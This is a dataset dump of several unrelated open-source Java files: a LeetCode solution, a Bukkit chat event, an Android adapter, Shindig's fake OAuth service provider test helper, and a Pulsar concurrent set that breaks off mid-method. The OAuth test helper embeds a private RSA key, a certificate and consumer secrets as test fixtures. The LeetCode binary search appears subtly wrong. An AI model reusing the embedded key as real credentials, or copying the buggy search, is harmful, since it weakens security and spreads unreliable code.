hexsha
stringlengths
40
40
size
int64
8
1.04M
content
stringlengths
8
1.04M
avg_line_length
float64
2.24
100
max_line_length
int64
4
1k
alphanum_fraction
float64
0.25
0.97
00d728594846b9d764be389516b7011c88b39359
858
class Solution { public int minOperations(int[] target, int[] arr) { Map<Integer, Integer> have = new HashMap<>(); int n = target.length; for(int i=0;i<n;i++){ have.put(target[i],i); } int length = 0; int[] dp = new int[n]; for(int x: arr){ if(!have.containsKey(x)){ continue; } int y = have.get(x); int left = 0, right = length-1; while(left <= right){ int mid = (left+ right) >> 1; if(dp[mid] >= y){ right = right -1; }else{ left = left + 1; } } dp[++right] = y; if(right == length){ length++; } } return n - length; } }
27.677419
55
0.367133
9b4ac3cbfa1c52ad3ebba7fda7ce8621dcbc64a5
2,917
/* * This file is part of project Helios, licensed under the MIT License (MIT). * * Copyright (c) 2017-2018 Mark Vainomaa <mikroskeem@mikroskeem.eu> * Copyright (c) Contributors * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ package eu.mikroskeem.helios.api.events.player.chat; import org.bukkit.entity.Player; import org.bukkit.event.Cancellable; import org.bukkit.event.HandlerList; import org.bukkit.event.player.PlayerEvent; import org.jetbrains.annotations.NotNull; /** * This event gets fired when ${@link Player#sendMessage(String)} and friends is invoked * * @author Mark Vainomaa */ public final class PlayerPluginSendMessageEvent extends PlayerEvent implements Cancellable { private static final HandlerList handlers = new HandlerList(); private boolean cancelled = false; private String message; /** * Constructs {@link PlayerPluginSendMessageEvent} * * @param player Player who'll receive the message * @param message Message */ public PlayerPluginSendMessageEvent(@NotNull Player player, @NotNull String message) { super(player); this.message = message; } /** * Gets message what player will receive * * @return Message */ @NotNull public String getMessage() { return message; } /** * Sets message what player will receive * * @param message Message */ public void setMessage(@NotNull String message) { this.message = message; } /** * {@inheritDoc} */ @Override public boolean isCancelled() { return cancelled; } /** * {@inheritDoc} */ @Override public void setCancelled(boolean value) { cancelled = value; } public HandlerList getHandlers() { return handlers; } public static HandlerList getHandlerList() { return handlers; } }
31.031915
92
0.701406
3da31700c20b495b9b55a514193316765e867e5e
4,753
package de.ub0r.android.choosebrowser; import android.content.ComponentName; import android.content.Context; import android.content.pm.PackageManager; import android.graphics.drawable.Drawable; import androidx.recyclerview.widget.RecyclerView; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.widget.ImageView; import android.widget.TextView; import java.util.ArrayList; import java.util.Collections; import java.util.List; import de.ub0r.android.logg0r.Log; public class PreferredAppsAdapter extends RecyclerView.Adapter<PreferredAppsAdapter.ViewHolder> { private static final String TAG = "PreferredAppsAdapter"; interface DeleteItemListener { void onItemDeleted(); } static class ViewHolder extends RecyclerView.ViewHolder { final TextView keyView; final TextView activityNameView; final ImageView iconView; final View deleteActionView; ViewHolder(final View itemView) { super(itemView); keyView = itemView.findViewById(R.id.key); activityNameView = itemView.findViewById(R.id.activity_name); iconView = itemView.findViewById(R.id.activity_icon); deleteActionView = itemView.findViewById(R.id.action_delete); } } static class ContentHolder { private final String mKey; private final ComponentName mComponent; private CharSequence mLabel; private Drawable mIcon; ContentHolder(final String key, final ComponentName component) { mKey = key; mComponent = component; } CharSequence getLabel(final PackageManager pm) { if (mLabel == null) { try { mLabel = pm.getActivityInfo(mComponent, 0).loadLabel(pm); } catch (PackageManager.NameNotFoundException e) { Log.e(TAG, "error finding activity ", mComponent.flattenToShortString(), e); mLabel = mComponent.flattenToShortString(); } } return mLabel; } Drawable getIcon(final PackageManager pm) { if (mIcon == null) { try { mIcon = pm.getActivityInfo(mComponent, 0).loadIcon(pm); } catch (PackageManager.NameNotFoundException e) { Log.e(TAG, "error finding activity ", mComponent.flattenToShortString(), e); } } return mIcon; } String getKey() { return mKey; } ComponentName getComponent() { return mComponent; } } private final LayoutInflater mInflater; private final PackageManager mPackageManager; private PreferredAppsStore mStore; private final List<ContentHolder> mItems; private DeleteItemListener mListener; PreferredAppsAdapter(final Context context, final PreferredAppsStore store) { mInflater = LayoutInflater.from(context); mPackageManager = context.getPackageManager(); mStore = store; mItems = new ArrayList<>(); final ArrayList<String> keys = new ArrayList<>(mStore.list()); Collections.sort(keys); for (final String key : keys) { mItems.add(new ContentHolder(key, mStore.get(key))); } } @Override public ViewHolder onCreateViewHolder(final ViewGroup parent, final int viewType) { View itemView = mInflater.inflate(R.layout.item_preferred_apps, parent, false); return new ViewHolder(itemView); } @Override public void onBindViewHolder(final ViewHolder holder, final int position) { final ContentHolder content = mItems.get(position); holder.keyView.setText(content.getKey()); holder.activityNameView.setText(content.getLabel(mPackageManager)); holder.iconView.setImageDrawable(content.getIcon(mPackageManager)); holder.deleteActionView.setOnClickListener(new View.OnClickListener() { @Override public void onClick(final View view) { deleteItem(holder.getAdapterPosition()); } }); } @Override public int getItemCount() { return mItems.size(); } void setOnItemDeleteListener(final DeleteItemListener listener) { mListener = listener; } private void deleteItem(final int position) { final ContentHolder content = mItems.get(position); mStore.remove(content.getKey()); mItems.remove(position); notifyItemRemoved(position); if (mListener != null) { mListener.onItemDeleted(); } } }
32.554795
97
0.641069
98aeeaca83bbbfa5af932e182228dcc4e2fcb703
23,300
/* * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations under the License. */ package org.apache.shindig.gadgets.oauth.testing; import net.oauth.OAuth; import net.oauth.OAuthAccessor; import net.oauth.OAuthConsumer; import net.oauth.OAuthMessage; import net.oauth.OAuthServiceProvider; import net.oauth.OAuthValidator; import net.oauth.SimpleOAuthValidator; import net.oauth.signature.RSA_SHA1; import org.apache.commons.codec.binary.Base64; import org.apache.shindig.common.crypto.Crypto; import org.apache.shindig.common.util.TimeSource; import org.apache.shindig.gadgets.GadgetException; import org.apache.shindig.gadgets.http.HttpFetcher; import org.apache.shindig.gadgets.http.HttpRequest; import org.apache.shindig.gadgets.http.HttpResponse; import org.apache.shindig.gadgets.http.HttpResponseBuilder; import org.apache.shindig.gadgets.oauth.OAuthUtil; import org.apache.shindig.gadgets.oauth.AccessorInfo.OAuthParamLocation; import java.io.ByteArrayOutputStream; import java.io.InputStream; import java.io.IOException; import java.util.ArrayList; import java.util.HashMap; import java.util.HashSet; import java.util.List; import java.util.Set; import java.util.Map.Entry; public class FakeOAuthServiceProvider implements HttpFetcher { public static final String BODY_ECHO_HEADER = "X-Echoed-Body"; public static final String RAW_BODY_ECHO_HEADER = "X-Echoed-Raw-Body"; public static final String AUTHZ_ECHO_HEADER = "X-Echoed-Authz"; public final static String SP_HOST = "http://www.example.com"; public final static String REQUEST_TOKEN_URL = SP_HOST + "/request?param=foo"; public final static String ACCESS_TOKEN_URL = SP_HOST + "/access"; public final static String APPROVAL_URL = SP_HOST + "/authorize"; public final static String RESOURCE_URL = SP_HOST + "/data"; public final static String NOT_FOUND_URL = SP_HOST + "/404"; public final static String CONSUMER_KEY = "consumer"; public final static String CONSUMER_SECRET = "secret"; public final static int TOKEN_EXPIRATION_SECONDS = 60; public static final String PRIVATE_KEY_TEXT = "MIICdgIBADANBgkqhkiG9w0BAQEFAASCAmAwggJcAgEAAoGBALRiMLAh9iimur8V" + "A7qVvdqxevEuUkW4K+2KdMXmnQbG9Aa7k7eBjK1S+0LYmVjPKlJGNXHDGuy5Fw/d" + "7rjVJ0BLB+ubPK8iA/Tw3hLQgXMRRGRXXCn8ikfuQfjUS1uZSatdLB81mydBETlJ" + "hI6GH4twrbDJCR2Bwy/XWXgqgGRzAgMBAAECgYBYWVtleUzavkbrPjy0T5FMou8H" + "X9u2AC2ry8vD/l7cqedtwMPp9k7TubgNFo+NGvKsl2ynyprOZR1xjQ7WgrgVB+mm" + "uScOM/5HVceFuGRDhYTCObE+y1kxRloNYXnx3ei1zbeYLPCHdhxRYW7T0qcynNmw" + "rn05/KO2RLjgQNalsQJBANeA3Q4Nugqy4QBUCEC09SqylT2K9FrrItqL2QKc9v0Z" + "zO2uwllCbg0dwpVuYPYXYvikNHHg+aCWF+VXsb9rpPsCQQDWR9TT4ORdzoj+Nccn" + "qkMsDmzt0EfNaAOwHOmVJ2RVBspPcxt5iN4HI7HNeG6U5YsFBb+/GZbgfBT3kpNG" + "WPTpAkBI+gFhjfJvRw38n3g/+UeAkwMI2TJQS4n8+hid0uus3/zOjDySH3XHCUno" + "cn1xOJAyZODBo47E+67R4jV1/gzbAkEAklJaspRPXP877NssM5nAZMU0/O/NGCZ+" + "3jPgDUno6WbJn5cqm8MqWhW1xGkImgRk+fkDBquiq4gPiT898jusgQJAd5Zrr6Q8" + "AO/0isr/3aa6O6NLQxISLKcPDk2NOccAfS/xOtfOz4sJYM3+Bs4Io9+dZGSDCA54" + "Lw03eHTNQghS0A=="; public static final String CERTIFICATE_TEXT = "-----BEGIN CERTIFICATE-----\n" + "MIIBpjCCAQ+gAwIBAgIBATANBgkqhkiG9w0BAQUFADAZMRcwFQYDVQQDDA5UZXN0\n" + "IFByaW5jaXBhbDAeFw03MDAxMDEwODAwMDBaFw0zODEyMzEwODAwMDBaMBkxFzAV\n" + "BgNVBAMMDlRlc3QgUHJpbmNpcGFsMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKB\n" + "gQC0YjCwIfYoprq/FQO6lb3asXrxLlJFuCvtinTF5p0GxvQGu5O3gYytUvtC2JlY\n" + "zypSRjVxwxrsuRcP3e641SdASwfrmzyvIgP08N4S0IFzEURkV1wp/IpH7kH41Etb\n" + "mUmrXSwfNZsnQRE5SYSOhh+LcK2wyQkdgcMv11l4KoBkcwIDAQABMA0GCSqGSIb3\n" + "DQEBBQUAA4GBAGZLPEuJ5SiJ2ryq+CmEGOXfvlTtEL2nuGtr9PewxkgnOjZpUy+d\n" + "4TvuXJbNQc8f4AMWL/tO9w0Fk80rWKp9ea8/df4qMq5qlFWlx6yOLQxumNOmECKb\n" + "WpkUQDIDJEoFUzKMVuJf4KO/FJ345+BNLGgbJ6WujreoM1X/gYfdnJ/J\n" + "-----END CERTIFICATE-----"; enum State { PENDING, APPROVED_UNCLAIMED, APPROVED, REVOKED, } private class TokenState { String tokenSecret; OAuthConsumer consumer; State state; String userData; String sessionHandle; long issued; public TokenState(String tokenSecret, OAuthConsumer consumer) { this.tokenSecret = tokenSecret; this.consumer = consumer; this.state = State.PENDING; this.userData = null; } public void approveToken() { // Waiting for the consumer to claim the token state = State.APPROVED_UNCLAIMED; issued = clock.currentTimeMillis(); } public void claimToken() { // consumer taking the token state = State.APPROVED; sessionHandle = Crypto.getRandomString(8); } public void renewToken() { issued = clock.currentTimeMillis(); } public void revokeToken() { state = State.REVOKED; } public State getState() { return state; } public String getSecret() { return tokenSecret; } public void setUserData(String userData) { this.userData = userData; } public String getUserData() { return userData; } } /** * Table of OAuth access tokens */ private final HashMap<String, TokenState> tokenState; private final OAuthValidator validator; private final OAuthConsumer signedFetchConsumer; private final OAuthConsumer oauthConsumer; private final TimeSource clock; private boolean throttled = false; private boolean vagueErrors = false; private boolean reportExpirationTimes = true; private boolean sessionExtension = false; private boolean rejectExtraParams = false; private boolean returnAccessTokenData = false; private int requestTokenCount = 0; private int accessTokenCount = 0; private int resourceAccessCount = 0; private Set<OAuthParamLocation> validParamLocations; public FakeOAuthServiceProvider(TimeSource clock) { this.clock = clock; OAuthServiceProvider provider = new OAuthServiceProvider( REQUEST_TOKEN_URL, APPROVAL_URL, ACCESS_TOKEN_URL); signedFetchConsumer = new OAuthConsumer(null, null, null, null); signedFetchConsumer.setProperty(RSA_SHA1.X509_CERTIFICATE, CERTIFICATE_TEXT); oauthConsumer = new OAuthConsumer(null, CONSUMER_KEY, CONSUMER_SECRET, provider); tokenState = new HashMap<String, TokenState>(); validator = new FakeTimeOAuthValidator(); validParamLocations = new HashSet<OAuthParamLocation>(); validParamLocations.add(OAuthParamLocation.URI_QUERY); } public void setVagueErrors(boolean vagueErrors) { this.vagueErrors = vagueErrors; } public void setSessionExtension(boolean sessionExtension) { this.sessionExtension = sessionExtension; } public void setReportExpirationTimes(boolean reportExpirationTimes) { this.reportExpirationTimes = reportExpirationTimes; } public void setRejectExtraParams(boolean rejectExtraParams) { this.rejectExtraParams = rejectExtraParams; } public void setReturnAccessTokenData(boolean returnAccessTokenData) { this.returnAccessTokenData = returnAccessTokenData; } public void addParamLocation(OAuthParamLocation paramLocation) { validParamLocations.add(paramLocation); } public void removeParamLocation(OAuthParamLocation paramLocation) { validParamLocations.remove(paramLocation); } public void setParamLocation(OAuthParamLocation paramLocation) { validParamLocations.clear(); validParamLocations.add(paramLocation); } public HttpResponse fetch(HttpRequest request) throws GadgetException { return realFetch(request); } private HttpResponse realFetch(HttpRequest request) { if (request.getFollowRedirects()) { throw new RuntimeException("Not supposed to follow OAuth redirects"); } String url = request.getUri().toString(); try { if (url.startsWith(REQUEST_TOKEN_URL)) { ++requestTokenCount; return handleRequestTokenUrl(request); } else if (url.startsWith(ACCESS_TOKEN_URL)) { ++accessTokenCount; return handleAccessTokenUrl(request); } else if (url.startsWith(RESOURCE_URL)){ ++resourceAccessCount; return handleResourceUrl(request); } else if (url.startsWith(NOT_FOUND_URL)) { return handleNotFoundUrl(request); } } catch (Exception e) { throw new RuntimeException("Problem with request for URL " + url, e); } throw new RuntimeException("Unexpected request for " + url); } private HttpResponse handleRequestTokenUrl(HttpRequest request) throws Exception { OAuthMessage message = parseMessage(request).message; String requestConsumer = message.getParameter(OAuth.OAUTH_CONSUMER_KEY); OAuthConsumer consumer; if (CONSUMER_KEY.equals(requestConsumer)) { consumer = oauthConsumer; } else { return makeOAuthProblemReport( "consumer_key_unknown", "invalid consumer: " + requestConsumer); } if (throttled) { return makeOAuthProblemReport( "consumer_key_refused", "exceeded quota exhausted"); } if (rejectExtraParams) { String extra = hasExtraParams(message); if (extra != null) { return makeOAuthProblemReport("parameter_rejected", extra); } } OAuthAccessor accessor = new OAuthAccessor(consumer); message.validateMessage(accessor, validator); String requestToken = Crypto.getRandomString(16); String requestTokenSecret = Crypto.getRandomString(16); tokenState.put( requestToken, new TokenState(requestTokenSecret, accessor.consumer)); String resp = OAuth.formEncode(OAuth.newList( "oauth_token", requestToken, "oauth_token_secret", requestTokenSecret)); return new HttpResponse(resp); } private String hasExtraParams(OAuthMessage message) { for (Entry<String, String> param : OAuthUtil.getParameters(message)) { // Our request token URL allows "param" as a query param, and also oauth params of course. if (!param.getKey().startsWith("oauth") && !param.getKey().equals("param")) { return param.getKey(); } } return null; } private HttpResponse makeOAuthProblemReport(String code, String text) throws IOException { if (vagueErrors) { int rc = HttpResponse.SC_UNAUTHORIZED; if ("consumer_key_unknown".equals(code)) { rc = HttpResponse.SC_FORBIDDEN; } return new HttpResponseBuilder() .setHttpStatusCode(rc) .setResponseString("some vague error") .create(); } OAuthMessage msg = new OAuthMessage(null, null, null); msg.addParameter("oauth_problem", code); msg.addParameter("oauth_problem_advice", text); return new HttpResponseBuilder() .setHttpStatusCode(HttpResponse.SC_FORBIDDEN) .addHeader("WWW-Authenticate", msg.getAuthorizationHeader("realm")) .create(); } // Loosely based off net.oauth.OAuthServlet, and even more loosely related // to the OAuth specification private MessageInfo parseMessage(HttpRequest request) { MessageInfo info = new MessageInfo(); String method = request.getMethod(); ParsedUrl parsed = new ParsedUrl(request.getUri().toString()); List<OAuth.Parameter> params = new ArrayList<OAuth.Parameter>(); params.addAll(parsed.getParsedQuery()); if (!validParamLocations.contains(OAuthParamLocation.URI_QUERY)) { // Make sure nothing OAuth related ended up in the query string for (OAuth.Parameter p : params) { if (p.getKey().contains("oauth_")) { throw new RuntimeException("Found unexpected query param " + p.getKey()); } } } // Parse authorization header if (validParamLocations.contains(OAuthParamLocation.AUTH_HEADER)) { String aznHeader = request.getHeader("Authorization"); if (aznHeader != null) { info.aznHeader = aznHeader; for (OAuth.Parameter p : OAuthMessage.decodeAuthorization(aznHeader)) { if (!p.getKey().equalsIgnoreCase("realm")) { params.add(p); } } } } // Parse body if (request.getMethod().equals("POST")) { String type = request.getHeader("Content-Type"); if ("application/x-www-form-urlencoded".equals(type)) { String body = request.getPostBodyAsString(); info.body = body; params.addAll(OAuth.decodeForm(request.getPostBodyAsString())); // If we're not configured to pass oauth parameters in the post body, double check // that they didn't end up there. if (!validParamLocations.contains(OAuthParamLocation.POST_BODY)) { if (body.contains("oauth_")) { throw new RuntimeException("Found unexpected post body data" + body); } } } else { try { InputStream is = request.getPostBody(); ByteArrayOutputStream baos = new ByteArrayOutputStream(); byte[] buf = new byte[1024]; int read; while ((read = is.read(buf, 0, buf.length)) != -1) { baos.write(buf, 0, read); } info.rawBody = baos.toByteArray(); } catch (IOException e) { throw new RuntimeException(e); } } } // Return the lot info.message = new OAuthMessage(method, parsed.getLocation(), params); return info; } /** * Bundles information about a received OAuthMessage. */ private static class MessageInfo { public OAuthMessage message; public String aznHeader; public String body; public byte[] rawBody; } /** * Utility class for parsing OAuth URLs. */ private static class ParsedUrl { String location = null; String query = null; List<OAuth.Parameter> decodedQuery = null; public ParsedUrl(String url) { int queryIndex = url.indexOf('?'); if (queryIndex != -1) { query = url.substring(queryIndex+1, url.length()); location = url.substring(0, queryIndex); } else { location = url; } } public String getLocation() { return location; } public String getRawQuery() { return query; } public List<OAuth.Parameter> getParsedQuery() { if (decodedQuery == null) { if (query != null) { decodedQuery = OAuth.decodeForm(query); } else { decodedQuery = new ArrayList<OAuth.Parameter>(); } } return decodedQuery; } public String getQueryParam(String name) { for (OAuth.Parameter p : getParsedQuery()) { if (p.getKey().equals(name)) { return p.getValue(); } } return null; } } /** * Used to fake a browser visit to approve a token. * @param url * @throws Exception */ public void browserVisit(String url) throws Exception { ParsedUrl parsed = new ParsedUrl(url); String requestToken = parsed.getQueryParam("oauth_token"); TokenState state = tokenState.get(requestToken); state.approveToken(); // Not part of the OAuth spec, just a handy thing for testing. state.setUserData(parsed.getQueryParam("user_data")); } public static class TokenPair { public final String token; public final String secret; public TokenPair(String token, String secret) { this.token = token; this.secret = secret; } } /** * Generate a preapproved request token for the specified user data. * * @param userData * @return the request token and secret */ public TokenPair getPreapprovedToken(String userData) { String requestToken = Crypto.getRandomString(16); String requestTokenSecret = Crypto.getRandomString(16); TokenState state = new TokenState(requestTokenSecret, oauthConsumer); state.approveToken(); state.setUserData(userData); tokenState.put(requestToken, state); return new TokenPair(requestToken, requestTokenSecret); } /** * Used to revoke all access tokens issued by this service provider. * * @throws Exception */ public void revokeAllAccessTokens() throws Exception { for (TokenState state : tokenState.values()) { state.revokeToken(); } } /** * Changes session handles to prevent renewal from working. */ public void changeAllSessionHandles() throws Exception { for (TokenState state : tokenState.values()) { state.sessionHandle = null; } } private HttpResponse handleAccessTokenUrl(HttpRequest request) throws Exception { OAuthMessage message = parseMessage(request).message; String requestToken = message.getParameter("oauth_token"); TokenState state = tokenState.get(requestToken); if (throttled) { return makeOAuthProblemReport( "consumer_key_refused", "exceeded quota"); } else if (state == null) { return makeOAuthProblemReport("token_rejected", "Unknown request token"); } if (rejectExtraParams) { String extra = hasExtraParams(message); if (extra != null) { return makeOAuthProblemReport("parameter_rejected", extra); } } OAuthAccessor accessor = new OAuthAccessor(oauthConsumer); accessor.requestToken = requestToken; accessor.tokenSecret = state.tokenSecret; message.validateMessage(accessor, validator); if (state.getState() == State.APPROVED_UNCLAIMED) { state.claimToken(); } else if (state.getState() == State.APPROVED) { // Verify can refresh String sentHandle = message.getParameter("oauth_session_handle"); if (sentHandle == null) { return makeOAuthProblemReport("parameter_absent", "no oauth_session_handle"); } if (!sentHandle.equals(state.sessionHandle)) { return makeOAuthProblemReport("token_invalid", "token not valid"); } state.renewToken(); } else if (state.getState() == State.REVOKED){ return makeOAuthProblemReport("token_revoked", "Revoked access token can't be renewed"); } else { throw new Exception("Token in weird state " + state.getState()); } String accessToken = Crypto.getRandomString(16); String accessTokenSecret = Crypto.getRandomString(16); state.tokenSecret = accessTokenSecret; tokenState.put(accessToken, state); tokenState.remove(requestToken); List<OAuth.Parameter> params = OAuth.newList( "oauth_token", accessToken, "oauth_token_secret", accessTokenSecret); if (sessionExtension) { params.add(new OAuth.Parameter("oauth_session_handle", state.sessionHandle)); if (reportExpirationTimes) { params.add(new OAuth.Parameter("oauth_expires_in", "" + TOKEN_EXPIRATION_SECONDS)); } } if (returnAccessTokenData) { params.add(new OAuth.Parameter("userid", "userid value")); params.add(new OAuth.Parameter("xoauth_stuff", "xoauth_stuff value")); params.add(new OAuth.Parameter("oauth_stuff", "oauth_stuff value")); } return new HttpResponse(OAuth.formEncode(params)); } private HttpResponse handleResourceUrl(HttpRequest request) throws Exception { MessageInfo info = parseMessage(request); String consumerId = info.message.getParameter("oauth_consumer_key"); OAuthConsumer consumer; if (CONSUMER_KEY.equals(consumerId)) { consumer = oauthConsumer; } else if ("signedfetch".equals(consumerId)) { consumer = signedFetchConsumer; } else if ("container.com".equals(consumerId)) { consumer = signedFetchConsumer; } else { return makeOAuthProblemReport("parameter_missing", "oauth_consumer_key not found"); } OAuthAccessor accessor = new OAuthAccessor(consumer); String responseBody = null; if (throttled) { return makeOAuthProblemReport( "consumer_key_refused", "exceeded quota"); } if (consumer == oauthConsumer) { // for OAuth, check the access token. We skip this for signed fetch String accessToken = info.message.getParameter("oauth_token"); TokenState state = tokenState.get(accessToken); if (state == null) { return makeOAuthProblemReport( "token_rejected", "Access token unknown"); } // Check the signature accessor.accessToken = accessToken; accessor.tokenSecret = state.getSecret(); info.message.validateMessage(accessor, validator); if (state.getState() != State.APPROVED) { return makeOAuthProblemReport( "token_revoked", "User revoked permissions"); } if (sessionExtension) { long expiration = state.issued + TOKEN_EXPIRATION_SECONDS * 1000; if (expiration < clock.currentTimeMillis()) { return makeOAuthProblemReport("access_token_expired", "token needs to be refreshed"); } } responseBody = "User data is " + state.getUserData(); } else { // Check the signature info.message.validateMessage(accessor, validator); // For signed fetch, just echo back the query parameters in the body responseBody = request.getUri().getQuery(); } // Send back a response HttpResponseBuilder resp = new HttpResponseBuilder() .setHttpStatusCode(HttpResponse.SC_OK) .setResponseString(responseBody); if (info.aznHeader != null) { resp.setHeader(AUTHZ_ECHO_HEADER, info.aznHeader); } if (info.body != null) { resp.setHeader(BODY_ECHO_HEADER, info.body); } if (info.rawBody != null) { resp.setHeader(RAW_BODY_ECHO_HEADER, new String(Base64.encodeBase64(info.rawBody))); } return resp.create(); } private HttpResponse handleNotFoundUrl(HttpRequest request) throws Exception { return new HttpResponseBuilder() .setHttpStatusCode(HttpResponse.SC_NOT_FOUND) .setResponseString("not found") .create(); } public void setConsumersThrottled(boolean throttled) { this.throttled = throttled; } /** * @return number of hits to request token URL. */ public int getRequestTokenCount() { return requestTokenCount; } /** * @return number of hits to access token URL. */ public int getAccessTokenCount() { return accessTokenCount; } /** * @return number of hits to resource access URL. */ public int getResourceAccessCount() { return resourceAccessCount; } /** * Validate oauth messages using a fake time source. */ private class FakeTimeOAuthValidator extends SimpleOAuthValidator { @Override protected long currentTimeMsec() { return clock.currentTimeMillis(); } } }
34.214391
96
0.696609
5e2d49987b7de1d84e6f695cc16658b3e62e7139
18,302
/** * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. */ package org.apache.pulsar.common.util.collections; import static com.google.common.base.Preconditions.checkArgument; import java.util.Arrays; import java.util.HashSet; import java.util.Objects; import java.util.Set; import java.util.concurrent.atomic.AtomicBoolean; import java.util.concurrent.locks.StampedLock; /** * Concurrent hash set where values are composed of pairs of longs. * * <p>Provides similar methods as a {@code ConcurrentHashSet<V>} but since it's an open hash set with linear probing, * no node allocations are required to store the keys and values, and no boxing is required. * * <p>Values <b>MUST</b> be &gt;= 0. */ public class ConcurrentLongPairSet implements LongPairSet { private static final long EmptyItem = -1L; private static final long DeletedItem = -2L; private static final float SetFillFactor = 0.66f; private static final int DefaultExpectedItems = 256; private static final int DefaultConcurrencyLevel = 16; private final Section[] sections; /** * Represents a function that accepts an object of the {@code LongPair} type. */ public interface ConsumerLong { void accept(LongPair item); } /** * Represents a function that accepts two long arguments. */ public interface LongPairConsumer { void accept(long v1, long v2); } public ConcurrentLongPairSet() { this(DefaultExpectedItems); } public ConcurrentLongPairSet(int expectedItems) { this(expectedItems, DefaultConcurrencyLevel); } public ConcurrentLongPairSet(int expectedItems, int concurrencyLevel) { checkArgument(expectedItems > 0); checkArgument(concurrencyLevel > 0); checkArgument(expectedItems >= concurrencyLevel); int numSections = concurrencyLevel; int perSectionExpectedItems = expectedItems / numSections; int perSectionCapacity = (int) (perSectionExpectedItems / SetFillFactor); this.sections = new Section[numSections]; for (int i = 0; i < numSections; i++) { sections[i] = new Section(perSectionCapacity); } } public long size() { long size = 0; for (Section s : sections) { size += s.size; } return size; } public long capacity() { long capacity = 0; for (Section s : sections) { capacity += s.capacity; } return capacity; } public boolean isEmpty() { for (Section s : sections) { if (s.size != 0) { return false; } } return true; } long getUsedBucketCount() { long usedBucketCount = 0; for (Section s : sections) { usedBucketCount += s.usedBuckets; } return usedBucketCount; } public boolean contains(long item1, long item2) { checkBiggerEqualZero(item1); long h = hash(item1, item2); return getSection(h).contains(item1, item2, (int) h); } public boolean add(long item1, long item2) { checkBiggerEqualZero(item1); long h = hash(item1, item2); return getSection(h).add(item1, item2, (int) h); } /** * Remove an existing entry if found. * * @param item1 * @return true if removed or false if item was not present */ public boolean remove(long item1, long item2) { checkBiggerEqualZero(item1); long h = hash(item1, item2); return getSection(h).remove(item1, item2, (int) h); } private Section getSection(long hash) { // Use 32 msb out of long to get the section final int sectionIdx = (int) (hash >>> 32) & (sections.length - 1); return sections[sectionIdx]; } public void clear() { for (Section s : sections) { s.clear(); } } public void forEach(LongPairConsumer processor) { for (Section s : sections) { s.forEach(processor); } } /** * Removes all of the elements of this collection that satisfy the given predicate. * * @param filter * a predicate which returns {@code true} for elements to be removed * * @return number of removed values */ public int removeIf(LongPairPredicate filter) { int removedValues = 0; for (Section s : sections) { removedValues += s.removeIf(filter); } return removedValues; } /** * @return a new list of all keys (makes a copy) */ public Set<LongPair> items() { Set<LongPair> items = new HashSet<>(); forEach((item1, item2) -> items.add(new LongPair(item1, item2))); return items; } /** * @return a new list of keys with max provided numberOfItems (makes a copy) */ public Set<LongPair> items(int numberOfItems) { return items(numberOfItems, (item1, item2) -> new LongPair(item1, item2)); } @Override public <T> Set<T> items(int numberOfItems, LongPairFunction<T> longPairConverter) { Set<T> items = new HashSet<>(); for (Section s : sections) { s.forEach((item1, item2) -> { if (items.size() < numberOfItems) { items.add(longPairConverter.apply(item1, item2)); } }); if (items.size() >= numberOfItems) { return items; } } return items; } // A section is a portion of the hash map that is covered by a single @SuppressWarnings("serial") private static final class Section extends StampedLock { // Keys and values are stored interleaved in the table array private volatile long[] table; private volatile int capacity; private volatile int size; private int usedBuckets; private int resizeThreshold; Section(int capacity) { this.capacity = alignToPowerOfTwo(capacity); this.table = new long[2 * this.capacity]; this.size = 0; this.usedBuckets = 0; this.resizeThreshold = (int) (this.capacity * SetFillFactor); Arrays.fill(table, EmptyItem); } boolean contains(long item1, long item2, int hash) { long stamp = tryOptimisticRead(); boolean acquiredLock = false; int bucket = signSafeMod(hash, capacity); try { while (true) { // First try optimistic locking long storedItem1 = table[bucket]; long storedItem2 = table[bucket + 1]; if (!acquiredLock && validate(stamp)) { // The values we have read are consistent if (item1 == storedItem1 && item2 == storedItem2) { return true; } else if (storedItem1 == EmptyItem) { // Not found return false; } } else { // Fallback to acquiring read lock if (!acquiredLock) { stamp = readLock(); acquiredLock = true; bucket = signSafeMod(hash, capacity); storedItem1 = table[bucket]; storedItem2 = table[bucket + 1]; } if (item1 == storedItem1 && item2 == storedItem2) { return true; } else if (storedItem1 == EmptyItem) { // Not found return false; } } bucket = (bucket + 2) & (table.length - 1); } } finally { if (acquiredLock) { unlockRead(stamp); } } } boolean add(long item1, long item2, long hash) { long stamp = writeLock(); int bucket = signSafeMod(hash, capacity); // Remember where we find the first available spot int firstDeletedItem = -1; try { while (true) { long storedItem1 = table[bucket]; long storedItem2 = table[bucket + 1]; if (item1 == storedItem1 && item2 == storedItem2) { // Item was already in set return false; } else if 